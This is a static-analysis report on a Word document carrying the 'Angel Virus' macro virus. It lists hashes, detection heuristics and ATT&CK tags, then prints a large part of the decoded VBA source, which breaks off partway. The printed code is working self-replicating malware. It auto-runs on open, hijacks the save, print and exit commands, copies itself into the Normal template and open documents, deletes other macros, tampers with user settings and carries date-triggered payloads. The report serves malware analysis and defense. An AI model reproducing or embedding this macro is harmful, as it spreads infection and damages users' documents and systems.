Angel Virus — Office (OLE) malware analysis

Static analysis result for SHA-256 2a9aa1547a9a75f7…

MALICIOUS

Office (OLE)

54.0 KB Created: 2000-03-16 02:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 681cf571475d98c6f09b311393680589 SHA-1: bcab579d1edfdd2db057b711b93918696913b43e SHA-256: 2a9aa1547a9a75f703a600725014378ad96efde30558e6063fcf41543db7c378
240 Risk Score

Malware Insights

Angel Virus · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Microsoft Word document containing VBA macros. The macros, specifically 'AutoOpen' and 'AutoExec', are designed to execute malicious functions like 'stealth' and 'clascopy', and potentially download further payloads via 'payload2'. The document body and macro comments explicitly refer to 'Angel Virus' and include an email address for contact, indicating a self-propagating or intentionally distributed malicious document.

Heuristics 5

  • ClamAV: Doc.Trojan.Opey-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-18
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7596 bytes
SHA-256: 1c330d0e6d146ee495c7b2a172a56117b2cedc8f520e61e5c435be5e8f6e04c6
Detection
ClamAV: Doc.Trojan.Opey-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Angel"
Sub AutoOpen()                                      ' coded by Avenging Angel
    Call stealth                                         ' Undetected by Norton Anti-virus 5.0, Dr. Sol. Antivirus
    On Error Resume Next                          '   Tbav, and other shits
    Call clascopy                                       ' Copyaright 1999
    ActiveDocument.Save                           ' Comments or Suggestions mailto: avenging.angel@mailcity.com
End Sub                                                 'Payload: change the Owner's Computer name
Sub AutoExec()                                        '   on friday it will ask a question to be answered
    Call stealth                '                         '    after 9/9/99 printing will print all the pages on a document
    On Error Resume Next                          '         changes the home of the internet explorer to my site
    Call clascopy
    If WeekDay(Date) = 6 Then
    Call payload2
    End If
    ActiveDocument.Save
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Call clascopy
    Application.UserName = "Another infected of Angel Virus"
    Application.UserAddress = "Hacker From Batangas"
    Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePageSetup()
    On Error Resume Next
    Call clascopy
    Dialogs(wdDialogFilePageSetup).Show
End Sub
Sub FilePrint()
    On Error Resume Next
    Call clascopy
    If Date < #9/9/99# Then
        Dialogs(wdDialogFilePrint).Show
    Else
        ActiveDocument.PrintOut
    End If
End Sub
Sub FileOpen()
    On Error Resume Next
    Dialogs(wdDialogFileOpen).Show
    Call clascopy
    ActiveDocument.Save
End Sub
Sub AutoClose()
    On Error Resume Next
    Call clascopy
End Sub
Sub AutoExit()
    On Error Resume Next
    Call clascopy
    Application.Quit
End Sub
Sub FileSave()
    On Error Resume Next
    Call clascopy
    ActiveDocument.Save
End Sub
Sub FileClose()
    On Error Resume Next
    Call clascopy
    If ActiveDocument.Words(1) <> "" _
    And ActiveDocument.Saved = False Then
    ActiveDocument.Save
    End If
    ActiveDocument.Close
End Sub
Sub FileExit()
    On Error Resume Next
    Call clascopy
    If ActiveDocument.Words(1) <> "" And _
    ActiveDocument.Saved = False Then
    ActiveDocument.Save
    End If
    Call payload
    Application.Quit
End Sub
Sub FileNew()
    On Error Resume Next
    Dialogs(wdDialogFileNew).Show
    Call clascopy
End Sub

Sub clascopy()
   On Error Resume Next
   Call stealth
    infected = False
        For A_A = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
            modname = NormalTemplate.VBProject.VBComponents(A_A).Name
                If modname = "Angel" Then infected = True
                If (modname <> "Angel") And (modname <> "ThisDocument") Then
                    Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=modname, Object:=wdOrganizerObjectProjectItems
                End If
        Next A_A
        For Each documentopen In Documents
            Docinfected = False
            With documentopen
                For Angelclaw = documentopen.VBProject.VBComponents.Count To 1 Step -1
                modname = documentopen.VBProject.VBComponents(Angelclaw).Name
                    If modname = "Angel" Then Docinfected = True
                    If (modname <> "Angel") And (modname <> "ThisDocument") And (modname <> "Reference to Normal") Then
                        Application.OrganizerDelete Source:=documentopen.FullName, Name:=modname, Object:=wdOrganizerObjectProjectItems
                    End If
                Next Angelclaw
                If Docinfected = False Then
                     e = NormalTemplate.VBProject.VBComponents(2).CodeMod
... (truncated)